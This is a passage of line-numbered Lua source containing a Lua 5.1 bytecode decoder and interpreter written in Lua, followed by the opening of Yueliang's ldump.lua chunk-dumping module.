  1549. opmode(0, 1, "OpArgR", "OpArgN", "iAsBx"), -- OP_FORPREP
  1550. opmode(1, 0, "OpArgN", "OpArgU", "iABC"), -- OP_TFORLOOP
  1551. opmode(0, 0, "OpArgU", "OpArgU", "iABC"), -- OP_SETLIST
  1552. opmode(0, 0, "OpArgN", "OpArgN", "iABC"), -- OP_CLOSE
  1553. opmode(0, 1, "OpArgU", "OpArgN", "iABx"), -- OP_CLOSURE
  1554. opmode(0, 1, "OpArgU", "OpArgN", "iABC"), -- OP_VARARG
  1555. }
  1556. -- an awkward way to set a zero-indexed table...
  1557. luaP.opmodes[0] =
  1558. opmode(0, 1, "OpArgR", "OpArgN", "iABC") -- OP_MOVE
  1559.  
  1560. local advanced_debug
  1561.  
  1562. local lua_opcode_types = {
  1563. "ABC", "ABx", "ABC", "ABC",
  1564. "ABC", "ABx", "ABC", "ABx",
  1565. "ABC", "ABC", "ABC", "ABC",
  1566. "ABC", "ABC", "ABC", "ABC",
  1567. "ABC", "ABC", "ABC", "ABC",
  1568. "ABC", "ABC", "AsBx", "ABC",
  1569. "ABC", "ABC", "ABC", "ABC",
  1570. "ABC", "ABC", "ABC", "AsBx",
  1571. "AsBx", "ABC", "ABC", "ABC",
  1572. "ABx", "ABC",
  1573. }
  1574.  
  1575. local lua_opcode_names = {
  1576. "MOVE", "LOADK", "LOADBOOL", "LOADNIL",
  1577. "GETUPVAL", "GETGLOBAL", "GETTABLE", "SETGLOBAL",
  1578. "SETUPVAL", "SETTABLE", "NEWTABLE", "SELF",
  1579. "ADD", "SUB", "MUL", "DIV",
  1580. "MOD", "POW", "UNM", "NOT",
  1581. "LEN", "CONCAT", "JMP", "EQ",
  1582. "LT", "LE", "TEST", "TESTSET",
  1583. "CALL", "TAILCALL", "RETURN", "FORLOOP",
  1584. "FORPREP", "TFORLOOP", "SETLIST", "CLOSE",
  1585. "CLOSURE", "VARARG"
  1586. };
  1587.  
  1588. --[[
  1589. local lua_opcode_numbers = {};
  1590. for number, name in next, lua_opcode_names do
  1591. lua_opcode_numbers[name] = number;
  1592. end
  1593. --]]
  1594.  
  1595. --- Extract bits from an integer
  1596. --@author: Stravant
  1597. local function get_bits(input, n, n2)
  1598. if n2 then
  1599. local total = 0
  1600. local digitn = 0
  1601. for i = n, n2 do
  1602. total = total + 2^digitn*get_bits(input, i)
  1603. digitn = digitn + 1
  1604. end
  1605. return total
  1606. else
  1607. local pn = 2^(n-1)
  1608. return (input % (pn + pn) >= pn) and 1 or 0
  1609. end
  1610. end
  1611.  
  1612. local function decode_bytecode(bytecode)
  1613. local index = 1
  1614. local big_endian = false
  1615. local int_size;
  1616. local size_t;
  1617.  
  1618. -- Actual binary decoding functions. Dependant on the bytecode.
  1619. local get_int, get_size_t;
  1620.  
  1621. -- Binary decoding helper functions
  1622. local get_int8, get_int32, get_int64, get_float64, get_string;
  1623. do
  1624. function get_int8()
  1625. local a = bytecode:byte(index, index);
  1626. index = index + 1
  1627. return a
  1628. end
  1629. function get_int32()
  1630. local a, b, c, d = bytecode:byte(index, index + 3);
  1631. index = index + 4;
  1632. return d*16777216 + c*65536 + b*256 + a
  1633. end
  1634. function get_int64()
  1635. local a = get_int32();
  1636. local b = get_int32();
  1637. return b*4294967296 + a;
  1638. end
  1639. function get_float64()
  1640. local a = get_int32()
  1641. local b = get_int32()
  1642. return (-2*get_bits(b, 32)+1)*(2^(get_bits(b, 21, 31)-1023))*
  1643. ((get_bits(b, 1, 20)*(2^32) + a)/(2^52)+1)
  1644. end
  1645. function get_string(len)
  1646. local str;
  1647. if len then
  1648. str = bytecode:sub(index, index + len - 1);
  1649. index = index + len;
  1650. else
  1651. len = get_size_t();
  1652. if len == 0 then return; end
  1653. str = bytecode:sub(index, index + len - 1);
  1654. index = index + len;
  1655. end
  1656. return str;
  1657. end
  1658. end
  1659.  
  1660. local function decode_chunk()
  1661. local chunk;
  1662. local instructions = {};
  1663. local constants = {};
  1664. local prototypes = {};
  1665. local debug = {
  1666. lines = {};
  1667. };
  1668.  
  1669. chunk = {
  1670. instructions = instructions;
  1671. constants = constants;
  1672. prototypes = prototypes;
  1673. debug = debug;
  1674. };
  1675.  
  1676. local num;
  1677.  
  1678. chunk.name = get_string();-- Function name
  1679. chunk.first_line = get_int(); -- First line
  1680. chunk.last_line = get_int(); -- Last line
  1681.  
  1682. if chunk.name then chunk.name = chunk.name:sub(1, -2); end
  1683.  
  1684. chunk.upvalues = get_int8();
  1685. chunk.arguments = get_int8();
  1686. chunk.varg = get_int8();
  1687. chunk.stack = get_int8();
  1688.  
  1689. -- TODO: realign lists to 1
  1690. -- Decode instructions
  1691. do
  1692. num = get_int();
  1693. for i = 1, num do
  1694. local instruction = {
  1695. -- opcode = opcode number;
  1696. -- type = [ABC, ABx, AsBx]
  1697. -- A, B, C, Bx, or sBx depending on type
  1698. };
  1699.  
  1700. local data = get_int32();
  1701. local opcode = get_bits(data, 1, 6);
  1702. local type = lua_opcode_types[opcode + 1];
  1703.  
  1704. instruction.opcode = opcode;
  1705. instruction.type = type;
  1706.  
  1707. instruction.A = get_bits(data, 7, 14);
  1708. if type == "ABC" then
  1709. instruction.B = get_bits(data, 24, 32);
  1710. instruction.C = get_bits(data, 15, 23);
  1711. elseif type == "ABx" then
  1712. instruction.Bx = get_bits(data, 15, 32);
  1713. elseif type == "AsBx" then
  1714. instruction.sBx = get_bits(data, 15, 32) - 131071;
  1715. end
  1716.  
  1717. instructions[i] = instruction;
  1718. end
  1719. end
  1720.  
  1721. -- Decode constants
  1722. do
  1723. num = get_int();
  1724. for i = 1, num do
  1725. local constant = {
  1726. -- type = constant type;
  1727. -- data = constant data;
  1728. };
  1729. local type = get_int8();
  1730. constant.type = type;
  1731.  
  1732. if type == 1 then
  1733. constant.data = (get_int8() ~= 0);
  1734. elseif type == 3 then
  1735. constant.data = get_float64();
  1736. elseif type == 4 then
  1737. constant.data = get_string():sub(1, -2);
  1738. end
  1739.  
  1740. constants[i-1] = constant;
  1741. end
  1742. end
  1743.  
  1744. -- Decode Prototypes
  1745. do
  1746. num = get_int();
  1747. for i = 1, num do
  1748. prototypes[i-1] = decode_chunk();
  1749. end
  1750. end
  1751.  
  1752. -- Decode debug info
  1753. -- Not all of which is used yet.
  1754. do
  1755. -- line numbers
  1756. local data = debug.lines
  1757. num = get_int();
  1758. for i = 1, num do
  1759. data[i] = get_int32();
  1760. end
  1761.  
  1762. -- locals
  1763. num = get_int();
  1764. for i = 1, num do
  1765. get_string():sub(1, -2); -- local name
  1766. get_int32(); -- local start PC
  1767. get_int32(); -- local end PC
  1768. end
  1769.  
  1770. -- upvalues
  1771. num = get_int();
  1772. for i = 1, num do
  1773. get_string(); -- upvalue name
  1774. end
  1775. end
  1776.  
  1777. return chunk;
  1778. end
  1779.  
  1780. -- Verify bytecode header
  1781. do
  1782. assert(get_string(4) == "\27Lua", "Lua bytecode expected.");
  1783. assert(get_int8() == 0x51, "Only Lua 5.1 is supported.");
  1784. get_int8(); -- Oficial bytecode
  1785. big_endian = (get_int8() == 0);
  1786. int_size = get_int8();
  1787. size_t = get_int8();
  1788.  
  1789. if int_size == 4 then
  1790. get_int = get_int32;
  1791. elseif int_size == 8 then
  1792. get_int = get_int64;
  1793. else
  1794. -- TODO: refactor errors into table
  1795. error("Unsupported bytecode target platform");
  1796. end
  1797.  
  1798. if size_t == 4 then
  1799. get_size_t = get_int32;
  1800. elseif size_t == 8 then
  1801. get_size_t = get_int64;
  1802. else
  1803. error("Unsupported bytecode target platform");
  1804. end
  1805.  
  1806. assert(get_string(3) == "\4\8\0",
  1807. "Unsupported bytecode target platform");
  1808. end
  1809.  
  1810. return decode_chunk();
  1811. end
  1812.  
  1813. local function handle_return(...)
  1814. local c = select("#", ...)
  1815. local t = {...}
  1816. return c, t
  1817. end
  1818.  
  1819. local function create_wrapper(cache, upvalues)
  1820. local instructions = cache.instructions;
  1821. local constants = cache.constants;
  1822. local prototypes = cache.prototypes;
  1823.  
  1824. local stack, top
  1825. local environment
  1826. local IP = 1; -- instruction pointer
  1827. local vararg, vararg_size
  1828.  
  1829. local opcode_funcs = {
  1830. [0] = function(instruction) -- MOVE
  1831. stack[instruction.A] = stack[instruction.B];
  1832. end,
  1833. [1] = function(instruction) -- LOADK
  1834. stack[instruction.A] = constants[instruction.Bx].data;
  1835. end,
  1836. [2] = function(instruction) -- LOADBOOL
  1837. stack[instruction.A] = instruction.B ~= 0
  1838. if instruction.C ~= 0 then
  1839. IP = IP + 1
  1840. end
  1841. end,
  1842. [3] = function(instruction) -- LOADNIL
  1843. local stack = stack
  1844. for i = instruction.A, instruction.B do
  1845. stack[i] = nil
  1846. end
  1847. end,
  1848. [4] = function(instruction) -- GETUPVAL
  1849. stack[instruction.A] = upvalues[instruction.B]
  1850. end,
  1851. [5] = function(instruction) -- GETGLOBAL
  1852. local key = constants[instruction.Bx].data;
  1853. stack[instruction.A] = environment[key];
  1854. end,
  1855. [6] = function(instruction) -- GETTABLE
  1856. local C = instruction.C
  1857. local stack = stack
  1858. C = C > 255 and constants[C-256].data or stack[C]
  1859. stack[instruction.A] = stack[instruction.B][C];
  1860. end,
  1861. [7] = function(instruction) -- SETGLOBAL
  1862. local key = constants[instruction.Bx].data;
  1863. environment[key] = stack[instruction.A];
  1864. end,
  1865. [8] = function (instruction) -- SETUPVAL
  1866. upvalues[instruction.B] = stack[instruction.A]
  1867. end,
  1868. [9] = function (instruction) -- SETTABLE
  1869. local B = instruction.B;
  1870. local C = instruction.C;
  1871. local stack, constants = stack, constants;
  1872.  
  1873. B = B > 255 and constants[B-256].data or stack[B];
  1874. C = C > 255 and constants[C-256].data or stack[C];
  1875.  
  1876. stack[instruction.A][B] = C
  1877. end,
  1878. [10] = function (instruction) -- NEWTABLE
  1879. stack[instruction.A] = {}
  1880. end,
  1881. [11] = function (instruction) -- SELF
  1882. local A = instruction.A
  1883. local B = instruction.B
  1884. local C = instruction.C
  1885. local stack = stack
  1886.  
  1887. B = stack[B]
  1888. C = C > 255 and constants[C-256].data or stack[C]
  1889.  
  1890. stack[A+1] = B
  1891. stack[A] = B[C]
  1892. end,
  1893. [12] = function(instruction) -- ADD
  1894. local B = instruction.B;
  1895. local C = instruction.C;
  1896. local stack, constants = stack, constants;
  1897.  
  1898. B = B > 255 and constants[B-256].data or stack[B];
  1899. C = C > 255 and constants[C-256].data or stack[C];
  1900.  
  1901. stack[instruction.A] = B+C;
  1902. end,
  1903. [13] = function(instruction) -- SUB
  1904. local B = instruction.B;
  1905. local C = instruction.C;
  1906. local stack, constants = stack, constants;
  1907.  
  1908. B = B > 255 and constants[B-256].data or stack[B];
  1909. C = C > 255 and constants[C-256].data or stack[C];
  1910.  
  1911. stack[instruction.A] = B - C;
  1912. end,
  1913. [14] = function(instruction) -- MUL
  1914. local B = instruction.B;
  1915. local C = instruction.C;
  1916. local stack, constants = stack, constants;
  1917.  
  1918. B = B > 255 and constants[B-256].data or stack[B];
  1919. C = C > 255 and constants[C-256].data or stack[C];
  1920.  
  1921. stack[instruction.A] = B * C;
  1922. end,
  1923. [15] = function(instruction) --DIV
  1924. local B = instruction.B;
  1925. local C = instruction.C;
  1926. local stack, constants = stack, constants;
  1927.  
  1928. B = B > 255 and constants[B-256].data or stack[B];
  1929. C = C > 255 and constants[C-256].data or stack[C];
  1930.  
  1931. stack[instruction.A] = B / C;
  1932. end,
  1933. [16] = function(instruction) -- MOD
  1934. local B = instruction.B;
  1935. local C = instruction.C;
  1936. local stack, constants = stack, constants;
  1937.  
  1938. B = B > 255 and constants[B-256].data or stack[B];
  1939. C = C > 255 and constants[C-256].data or stack[C];
  1940.  
  1941. stack[instruction.A] = B % C;
  1942. end,
  1943. [17] = function(instruction) -- POW
  1944. local B = instruction.B;
  1945. local C = instruction.C;
  1946. local stack, constants = stack, constants;
  1947.  
  1948. B = B > 255 and constants[B-256].data or stack[B];
  1949. C = C > 255 and constants[C-256].data or stack[C];
  1950.  
  1951. stack[instruction.A] = B ^ C;
  1952. end,
  1953. [18] = function(instruction) -- UNM
  1954. stack[instruction.A] = -stack[instruction.B]
  1955. end,
  1956. [19] = function(instruction) -- NOT
  1957. stack[instruction.A] = not stack[instruction.B]
  1958. end,
  1959. [20] = function(instruction) -- LEN
  1960. stack[instruction.A] = #stack[instruction.B]
  1961. end,
  1962. [21] = function(instruction) -- CONCAT
  1963. local B = instruction.B
  1964. local result = stack[B]
  1965. for i = B+1, instruction.C do
  1966. result = result .. stack[i]
  1967. end
  1968. stack[instruction.A] = result
  1969. end,
  1970. [22] = function(instruction) -- JUMP
  1971. IP = IP + instruction.sBx
  1972. end,
  1973. [23] = function(instruction) -- EQ
  1974. local A = instruction.A
  1975. local B = instruction.B
  1976. local C = instruction.C
  1977. local stack, constants = stack, constants
  1978.  
  1979. A = A ~= 0
  1980. B = B > 255 and constants[B-256].data or stack[B]
  1981. C = C > 255 and constants[C-256].data or stack[C]
  1982. if (B == C) ~= A then
  1983. IP = IP + 1
  1984. end
  1985. end,
  1986. [24] = function(instruction) -- LT
  1987. local A = instruction.A
  1988. local B = instruction.B
  1989. local C = instruction.C
  1990. local stack, constants = stack, constants
  1991.  
  1992. A = A ~= 0
  1993. B = B > 255 and constants[B-256].data or stack[B]
  1994. C = C > 255 and constants[C-256].data or stack[C]
  1995. if (B < C) ~= A then
  1996. IP = IP + 1
  1997. end
  1998. end,
  1999. [25] = function(instruction) -- LT
  2000. local A = instruction.A
  2001. local B = instruction.B
  2002. local C = instruction.C
  2003. local stack, constants = stack, constants
  2004.  
  2005. A = A ~= 0
  2006. B = B > 255 and constants[B-256].data or stack[B]
  2007. C = C > 255 and constants[C-256].data or stack[C]
  2008. if (B <= C) ~= A then
  2009. IP = IP + 1
  2010. end
  2011. end,
  2012. [26] = function(instruction) -- TEST
  2013. if (not not stack[instruction.A]) == (instruction.C == 0) then
  2014. IP = IP + 1
  2015. end
  2016. end,
  2017. [27] = function(instruction) -- TESTSET
  2018. local stack = stack
  2019. local B = stack[instruction.B]
  2020. if (not not B) == (instruction.C == 0) then
  2021. IP = IP + 1
  2022. else
  2023. stack[instruction.A] = B
  2024. end
  2025. end,
  2026. [28] = function(instruction) -- CALL
  2027. local A = instruction.A;
  2028. local B = instruction.B;
  2029. local C = instruction.C;
  2030. local stack = stack;
  2031. local args, results;
  2032. local limit, loop
  2033.  
  2034. args = {};
  2035. if B ~= 1 then
  2036. if B ~= 0 then
  2037. limit = A+B-1;
  2038. else
  2039. limit = top
  2040. end
  2041.  
  2042. loop = 0
  2043. for i = A+1, limit do
  2044. loop = loop + 1
  2045. args[loop] = stack[i];
  2046. end
  2047.  
  2048. limit, results = handle_return(stack[A](unpack(args, 1, limit-A)))
  2049. else
  2050. limit, results = handle_return(stack[A]())
  2051. end
  2052.  
  2053. top = A - 1
  2054.  
  2055. if C ~= 1 then
  2056. if C ~= 0 then
  2057. limit = A+C-2;
  2058. else
  2059. limit = limit+A
  2060. end
  2061.  
  2062. loop = 0;
  2063. for i = A, limit do
  2064. loop = loop + 1;
  2065. stack[i] = results[loop];
  2066. end
  2067. end
  2068. end,
  2069. [29] = function (instruction) -- TAILCALL
  2070. local A = instruction.A;
  2071. local B = instruction.B;
  2072. local C = instruction.C;
  2073. local stack = stack;
  2074. local args, results;
  2075. local top, limit, loop = top
  2076.  
  2077. args = {};
  2078. if B ~= 1 then
  2079. if B ~= 0 then
  2080. limit = A+B-1;
  2081. else
  2082. limit = top
  2083. end
  2084.  
  2085. loop = 0
  2086. for i = A+1, limit do
  2087. loop = loop + 1
  2088. args[#args+1] = stack[i];
  2089. end
  2090.  
  2091. results = {stack[A](unpack(args, 1, limit-A))};
  2092. else
  2093. results = {stack[A]()};
  2094. end
  2095.  
  2096. return true, results
  2097. end,
  2098. [30] = function(instruction) -- RETURN
  2099. --TODO: CLOSE
  2100. local A = instruction.A;
  2101. local B = instruction.B;
  2102. local stack = stack;
  2103. local limit;
  2104. local loop, output;
  2105.  
  2106. if B == 1 then
  2107. return true;
  2108. end
  2109. if B == 0 then
  2110. limit = top
  2111. else
  2112. limit = A + B - 2;
  2113. end
  2114.  
  2115. output = {};
  2116. local loop = 0
  2117. for i = A, limit do
  2118. loop = loop + 1
  2119. output[loop] = stack[i];
  2120. end
  2121. return true, output;
  2122. end,
  2123. [31] = function(instruction) -- FORLOOP
  2124. local A = instruction.A
  2125. local stack = stack
  2126.  
  2127. local step = stack[A+2]
  2128. local index = stack[A] + step
  2129. stack[A] = index
  2130.  
  2131. if step > 0 then
  2132. if index <= stack[A+1] then
  2133. IP = IP + instruction.sBx
  2134. stack[A+3] = index
  2135. end
  2136. else
  2137. if index >= stack[A+1] then
  2138. IP = IP + instruction.sBx
  2139. stack[A+3] = index
  2140. end
  2141. end
  2142. end,
  2143. [32] = function(instruction) -- FORPREP
  2144. local A = instruction.A
  2145. local stack = stack
  2146.  
  2147. stack[A] = stack[A] - stack[A+2]
  2148. IP = IP + instruction.sBx
  2149. end,
  2150. [33] = function(instruction) -- TFORLOOP
  2151. local A = instruction.A
  2152. local B = instruction.B
  2153. local C = instruction.C
  2154. local stack = stack
  2155.  
  2156. local offset = A+2
  2157. local result = {stack[A](stack[A+1], stack[A+2])}
  2158. for i = 1, C do
  2159. stack[offset+i] = result[i]
  2160. end
  2161.  
  2162. if stack[A+3] ~= nil then
  2163. stack[A+2] = stack[A+3]
  2164. else
  2165. IP = IP + 1
  2166. end
  2167. end,
  2168. [34] = function(instruction) -- SETLIST
  2169. local A = instruction.A
  2170. local B = instruction.B
  2171. local C = instruction.C
  2172. local stack = stack
  2173.  
  2174. if C == 0 then
  2175. error("NYI: extended SETLIST")
  2176. else
  2177. local offset = (C - 1) * 50
  2178. local t = stack[A]
  2179.  
  2180. if B == 0 then
  2181. B = top
  2182. end
  2183. for i = 1, B do
  2184. t[offset+i] = stack[A+i]
  2185. end
  2186. end
  2187. end,
  2188. [35] = function(instruction) -- CLOSE
  2189. --io.stderr:write("NYI: CLOSE")
  2190. --io.stderr:flush()
  2191. end,
  2192. [36] = function(instruction) -- CLOSURE
  2193. local proto = prototypes[instruction.Bx]
  2194. local instructions = instructions
  2195. local stack = stack
  2196.  
  2197. local indices = {}
  2198. local new_upvals = setmetatable({},
  2199. {
  2200. __index = function(t, k)
  2201. local upval = indices[k]
  2202. return upval.segment[upval.offset]
  2203. end,
  2204. __newindex = function(t, k, v)
  2205. local upval = indices[k]
  2206. upval.segment[upval.offset] = v
  2207. end
  2208. }
  2209. )
  2210. for i = 1, proto.upvalues do
  2211. local movement = instructions[IP]
  2212. if movement.opcode == 0 then -- MOVE
  2213. indices[i-1] = {segment = stack, offset = movement.B}
  2214. elseif instructions[IP].opcode == 4 then -- GETUPVAL
  2215. indices[i-1] = {segment = upvalues, offset = movement.B}
  2216. end
  2217. IP = IP + 1
  2218. end
  2219.  
  2220. local _, func = create_wrapper(proto, new_upvals)
  2221. stack[instruction.A] = func
  2222. end,
  2223. [37] = function(instruction) -- VARARG
  2224. local A = instruction.A
  2225. local B = instruction.B
  2226. local stack, vararg = stack, vararg
  2227.  
  2228. for i = A, A + (B > 0 and B - 1 or vararg_size) do
  2229. stack[i] = vararg[i - A]
  2230. end
  2231. end,
  2232. }
  2233.  
  2234. local function loop()
  2235. local instructions = instructions
  2236. local instruction, a, b
  2237.  
  2238. while true do
  2239. instruction = instructions[IP];
  2240. IP = IP + 1
  2241. a, b = opcode_funcs[instruction.opcode](instruction);
  2242. if a then
  2243. return b;
  2244. end
  2245. end
  2246. end
  2247.  
  2248. local debugging = {
  2249. get_stack = function()
  2250. return stack;
  2251. end;
  2252. get_IP = function()
  2253. return IP;
  2254. end
  2255. };
  2256.  
  2257. local function func(...)
  2258. local local_stack = {};
  2259. local ghost_stack = {};
  2260.  
  2261. top = -1
  2262. stack = setmetatable(local_stack, {
  2263. __index = ghost_stack;
  2264. __newindex = function(t, k, v)
  2265. if k > top and v then
  2266. top = k
  2267. end
  2268. ghost_stack[k] = v
  2269. end;
  2270. })
  2271. local args = {...};
  2272. vararg = {}
  2273. vararg_size = select("#", ...) - 1
  2274. for i = 0, vararg_size do
  2275. local_stack[i] = args[i+1];
  2276. vararg[i] = args[i+1]
  2277. end
  2278.  
  2279. environment = getfenv();
  2280. IP = 1;
  2281. local thread = coroutine.create(loop)
  2282. local a, b = coroutine.resume(thread)
  2283.  
  2284. if a then
  2285. if b then
  2286. return unpack(b);
  2287. end
  2288. return;
  2289. else
  2290. if advanced_debug then
  2291. --TODO advanced debugging
  2292. else
  2293. --TODO error converting
  2294. local name = cache.name;
  2295. local line = cache.debug.lines[IP];
  2296. local err = b:gsub("(.-:)", "");
  2297. local output = "";
  2298.  
  2299. output = output .. (name and name .. ":" or "");
  2300. output = output .. (line and line .. ":" or "");
  2301. output = output .. b
  2302. --[[
  2303. output = ("%s (Instruction=%s)"):format(output,
  2304. lua_opcode_names[select(2,debug.getlocal(loop,1, 1)).opcode+1])
  2305. --]]
  2306. error(output, 0);
  2307. end
  2308. end
  2309. end
  2310.  
  2311. return debugging, func;
  2312. end
  2313.  
  2314. local lbi = {
  2315. load_bytecode = function(bytecode,env)
  2316. local cache = decode_bytecode(bytecode);
  2317. local _, func = create_wrapper(cache);
  2318. return func;
  2319. end;
  2320.  
  2321. -- Utilities (Debug, Introspection, Testing, etc)
  2322. utils = {
  2323. decode_bytecode = decode_bytecode;
  2324. create_wrapper = create_wrapper;
  2325. debug_bytecode = function(bytecode)
  2326. local cache = decode_bytecode(bytecode)
  2327. return create_wrapper(cache);
  2328. end;
  2329. };
  2330. }
  2331.  
  2332. --[[--------------------------------------------------------------------
  2333.  
  2334. ldump.lua
  2335. Save precompiled Lua chunks
  2336. This file is part of Yueliang.
  2337.  
  2338. Copyright (c) 2006 Kein-Hong Man <khman@users.sf.net>
  2339. The COPYRIGHT file describes the conditions
  2340. under which this software may be distributed.
  2341.  
  2342. See the ChangeLog for more information.
  2343.  
  2344. ----------------------------------------------------------------------]]
  2345.  
  2346. --[[--------------------------------------------------------------------
  2347. -- Notes:
  2348. -- * WARNING! byte order (little endian) and data type sizes for header
  2349. -- signature values hard-coded; see luaU:header
  2350. -- * chunk writer generators are included, see below
  2351. -- * one significant difference is that instructions are still in table
  2352. -- form (with OP/A/B/C/Bx fields) and luaP:Instruction() is needed to
  2353. -- convert them into 4-char strings
  2354. --
  2355. -- Not implemented:
  2356. -- * DumpVar, DumpMem has been removed
  2357. -- * DumpVector folded into folded into DumpDebug, DumpCode
  2358. --
  2359. -- Added:
  2360. -- * for convenience, the following two functions have been added:
  2361. -- luaU:make_setS: create a chunk writer that writes to a string
  2362. -- luaU:make_setF: create a chunk writer that writes to a file
  2363. -- (lua.h contains a typedef for lua_Writer/lua_Chunkwriter, and
  2364. -- a Lua-based implementation exists, writer() in lstrlib.c)
  2365. -- * luaU:ttype(o) (from lobject.h)
  2366. -- * for converting number types to its binary equivalent:
  2367. -- luaU:from_double(x): encode double value for writing
  2368. -- luaU:from_int(x): encode integer value for writing
  2369. -- (error checking is limited for these conversion functions)
  2370. -- (double conversion does not support denormals or NaNs)
  2371. --
  2372. -- Changed in 5.1.x:
  2373. -- * the dumper was mostly rewritten in Lua 5.1.x, so notes on the
  2374. -- differences between 5.0.x and 5.1.x is limited
  2375. -- * LUAC_VERSION bumped to 0x51, LUAC_FORMAT added
  2376. -- * developer is expected to adjust LUAC_FORMAT in order to identify
  2377. -- non-standard binary chunk formats
  2378. -- * header signature code is smaller, has been simplified, and is
  2379. -- tested as a single unit; its logic is shared with the undumper
  2380. -- * no more endian conversion, invalid endianness mean rejection
  2381. -- * opcode field sizes are no longer exposed in the header
  2382. -- * code moved to front of a prototype, followed by constants
  2383. -- * debug information moved to the end of the binary chunk, and the
  2384. -- relevant functions folded into a single function
  2385. -- * luaU:dump returns a writer status code
  2386. -- * chunk writer now implements status code because dumper uses it
  2387. -- * luaU:endianness removed
  2388. ----------------------------------------------------------------------]]
  2389.  
  2390. --requires luaP
  2391. luaU = {}
  2392.  
  2393. -- mark for precompiled code ('<esc>Lua') (from lua.h)
  2394. luaU.LUA_SIGNATURE = "\27Lua"
  2395.  
  2396. -- constants used by dumper (from lua.h)
  2397. luaU.LUA_TNUMBER = 3
  2398. luaU.LUA_TSTRING = 4
  2399. luaU.LUA_TNIL = 0
  2400. luaU.LUA_TBOOLEAN = 1
  2401. luaU.LUA_TNONE = -1
  2402.  
  2403. -- constants for header of binary files (from lundump.h)
  2404. luaU.LUAC_VERSION = 0x51 -- this is Lua 5.1
  2405. luaU.LUAC_FORMAT = 0 -- this is the official format
  2406. luaU.LUAC_HEADERSIZE = 12 -- size of header of binary files
  2407.  
  2408. --[[--------------------------------------------------------------------
  2409. -- Additional functions to handle chunk writing
  2410. -- * to use make_setS and make_setF, see test_ldump.lua elsewhere
  2411. ----------------------------------------------------------------------]]
  2412.  
  2413. ------------------------------------------------------------------------
  2414. -- create a chunk writer that writes to a string
  2415. -- * returns the writer function and a table containing the string
  2416. -- * to get the final result, look in buff.data
  2417. ------------------------------------------------------------------------
  2418. function luaU:make_setS()
  2419. local buff = {}
  2420. buff.data = ""
  2421. local writer =
  2422. function(s, buff) -- chunk writer
  2423. if not s then return 0 end
  2424. buff.data = buff.data..s
  2425. return 0
  2426. end
  2427. return writer, buff
  2428. end
  2429.  
  2430. ------------------------------------------------------------------------
  2431. -- create a chunk writer that writes to a file
  2432. -- * returns the writer function and a table containing the file handle
  2433. -- * if a nil is passed, then writer should close the open file
  2434. ------------------------------------------------------------------------
  2435.  
  2436. --[[
  2437. function luaU:make_setF(filename)
  2438. local buff = {}
  2439. buff.h = io.open(filename, "wb")
  2440. if not buff.h then return nil end
  2441. local writer =
  2442. function(s, buff) -- chunk writer
  2443. if not buff.h then return 0 end
  2444. if not s then
  2445. if buff.h:close() then return 0 end
  2446. else
  2447. if buff.h:write(s) then return 0 end
  2448. end
  2449. return 1
  2450. end
  2451. return writer, buff
  2452. end--]]
  2453.  
  2454. ------------------------------------------------------------------------
  2455. -- works like the lobject.h version except that TObject used in these
  2456. -- scripts only has a 'value' field, no 'tt' field (native types used)
  2457. ------------------------------------------------------------------------
  2458. function luaU:ttype(o)
  2459. local tt = type(o.value)
  2460. if tt == "number" then return self.LUA_TNUMBER
  2461. elseif tt == "string" then return self.LUA_TSTRING
  2462. elseif tt == "nil" then return self.LUA_TNIL
  2463. elseif tt == "boolean" then return self.LUA_TBOOLEAN
  2464. else
  2465. return self.LUA_TNONE -- the rest should not appear
  2466. end
  2467. end
  2468.  
  2469. -----------------------------------------------------------------------
  2470. -- converts a IEEE754 double number to an 8-byte little-endian string
  2471. -- * luaU:from_double() and luaU:from_int() are adapted from ChunkBake
  2472. -- * supports +/- Infinity, but not denormals or NaNs
  2473. -----------------------------------------------------------------------
  2474. function luaU:from_double(x)
  2475. local function grab_byte(v)
  2476. local c = v % 256
  2477. return (v - c) / 256, string.char(c)
  2478. end
  2479. local sign = 0
  2480. if x < 0 then sign = 1; x = -x end
  2481. local mantissa, exponent = math.frexp(x)
  2482. if x == 0 then -- zero
  2483. mantissa, exponent = 0, 0
  2484. elseif x == 1/0 then
  2485. mantissa, exponent = 0, 2047
  2486. else
  2487. mantissa = (mantissa * 2 - 1) * math.ldexp(0.5, 53)
  2488. exponent = exponent + 1022
  2489. end
  2490. local v, byte = "" -- convert to bytes
  2491. x = math.floor(mantissa)
  2492. for i = 1,6 do
  2493. x, byte = grab_byte(x); v = v..byte -- 47:0
  2494. end
  2495. x, byte = grab_byte(exponent * 16 + x); v = v..byte -- 55:48
  2496. x, byte = grab_byte(sign * 128 + x); v = v..byte -- 63:56
  2497. return v
  2498. end
  2499.  
  2500. -----------------------------------------------------------------------
  2501. -- converts a number to a little-endian 32-bit integer string
  2502. -- * input value assumed to not overflow, can be signed/unsigned
  2503. -----------------------------------------------------------------------
  2504. function luaU:from_int(x)
  2505. local v = ""
  2506. x = math.floor(x)
  2507. if x < 0 then x = 4294967296 + x end -- ULONG_MAX+1
  2508. for i = 1, 4 do
  2509. local c = x % 256
  2510. v = v..string.char(c); x = math.floor(x / 256)
  2511. end
  2512. return v
  2513. end
  2514.  
  2515. --[[--------------------------------------------------------------------
  2516. -- Functions to make a binary chunk
  2517. -- * many functions have the size parameter removed, since output is
  2518. -- in the form of a string and some sizes are implicit or hard-coded
  2519. ----------------------------------------------------------------------]]
  2520.  
  2521. --[[--------------------------------------------------------------------
  2522. -- struct DumpState:
  2523. -- L -- lua_State (not used in this script)
  2524. -- writer -- lua_Writer (chunk writer function)
  2525. -- data -- void* (chunk writer context or data already written)
  2526. -- strip -- if true, don't write any debug information
  2527. -- status -- if non-zero, an error has occured
  2528. ----------------------------------------------------------------------]]
  2529.  
  2530. ------------------------------------------------------------------------
  2531. -- dumps a block of bytes
  2532. -- * lua_unlock(D.L), lua_lock(D.L) unused
  2533. ------------------------------------------------------------------------
  2534. function luaU:DumpBlock(b, D)
  2535. if D.status == 0 then
  2536. -- lua_unlock(D->L);
  2537. D.status = D.write(b, D.data)
  2538. -- lua_lock(D->L);
  2539. end
  2540. end
  2541.  
  2542. ------------------------------------------------------------------------
  2543. -- dumps a char
  2544. ------------------------------------------------------------------------
  2545. function luaU:DumpChar(y, D)
  2546. self:DumpBlock(string.char(y), D)
  2547. end
  2548.  
  2549. ------------------------------------------------------------------------
  2550. -- dumps a 32-bit signed or unsigned integer (for int) (hard-coded)
  2551. ------------------------------------------------------------------------
  2552. function luaU:DumpInt(x, D)
  2553. self:DumpBlock(self:from_int(x), D)
  2554. end
  2555.  
  2556. ------------------------------------------------------------------------
  2557. -- dumps a lua_Number (hard-coded as a double)
  2558. ------------------------------------------------------------------------
  2559. function luaU:DumpNumber(x, D)
